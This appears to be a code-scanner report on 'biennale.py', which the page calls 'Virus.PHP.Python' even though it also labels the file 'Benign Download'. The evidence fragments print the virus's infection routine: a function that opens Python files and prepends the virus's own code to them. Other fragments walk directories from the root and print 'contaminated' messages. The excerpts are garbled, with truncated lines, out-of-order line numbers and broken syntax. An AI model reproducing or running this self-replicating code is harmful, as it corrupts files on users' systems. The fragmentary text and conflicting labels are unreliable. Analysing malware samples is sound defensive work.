Benign Download

Virus.PHP.Python

Code embeds cleartext HTTP URL literalPython file opened for write or append

SHA-256a3b8160bba2665fdda855245c96548ae0d1865d6f4634b36ec587b2d88650988

Evidence

Python comment contains a URL lines 1–5

1# biennale.py _ go         to 49th Biennale di Venezia
2# HTTP://WWW.0100101110101101.ORG [epidemiC] http://www.epidemic.ws
3from dircache import *
4from string import *
5i …

Python file opened for write or append lines 7–19

7
8def fornicate(guest):
9   try:
10       soul = open(guest, "r")
11       body = soul.read()
12       soul.close()
13       if find(body, "[epidemiC]") == -1:
14           soul = open(guest, "w")
15           soul.write(mybody + "\n\n" + body)
16           soul.close()
17   except IOError: pass        
18
19def chat(party, gue …

English function-word token "and" lines 27–40

41… y + "/"
         if not lower(party) in wank and not ".py" in guestbook:
             for guest in guestbook:
                 chat(party, guest)
                 join(party + guest)
 except OSError: pass
     
34if == '':
     mysoul = open(sys.argv[0])
     mybody = mysoul.read()
     mybody = mybody[:find(mybody, "#"*3) + 3]
     mysoul.close()
     blacklist = replace(split(sys.exec_prefix,":")[-1], "\\", "/")
     if …

Code embeds cleartext HTTP URL literal lines 41–48

45… /dev/"]
     join("/")
     print ">      This file was contaminated by biennale.py, the world slowest virus."
     
     print "Either Linux or Windows, biennale.py is definetely the first Python virus."
     print "[epidemiC] http://www.epidemic.ws HTTP://WWW.0100101110101101.ORG "
     print "> <"
48###